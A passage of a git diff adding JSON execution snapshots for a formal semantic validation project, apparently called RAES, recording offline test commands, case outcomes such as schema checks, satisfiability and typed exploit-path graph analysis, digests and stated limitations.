"docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v23", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v23", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v23", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v23", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v23", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v23", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v23", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1242-execution-v23", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "e5f06d9e9eea750c3a404a24da64d4d56933eb6e", + "source_state": { + "base_revision": "e5f06d9e9eea750c3a404a24da64d4d56933eb6e", + "checkout_state": "modified", + "implementation_digest": "8718df040036ac6ce0fd2812295a1bf22e87cab5d70c76fe205c07a941db6a7e", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.13.13", + "raes": "3.5.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v24.json b/docs/research/formal-semantic-validation/execution-snapshot-v24.json new file mode 100644 index 000000000..a33343805 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v24.json @@ -0,0 +1,657 @@ +{ + "baseline": { + "execution_id": "issue-1242-execution-v23", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v23.json", + "release_revision": "24.0.0", + "release_sha256": "6c1cb327336237f4f0bc2232c02d54b78927f0dee897b3d75446d4372f1ef07d" + }, + "captured_at": "2026-09-16T08:11:56.640293+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v24", + "corpus_revision": "3.0.0", + "deviations": [], + "execution_id": "issue-1242-execution-v24", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v24", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v24", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v24", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v24", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v24", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v24", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v24", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v24", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v24", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v24", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v24", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v24", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v24", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v24", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v24", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v24", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v24", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v24", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v24", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1242-execution-v24", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v24", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": 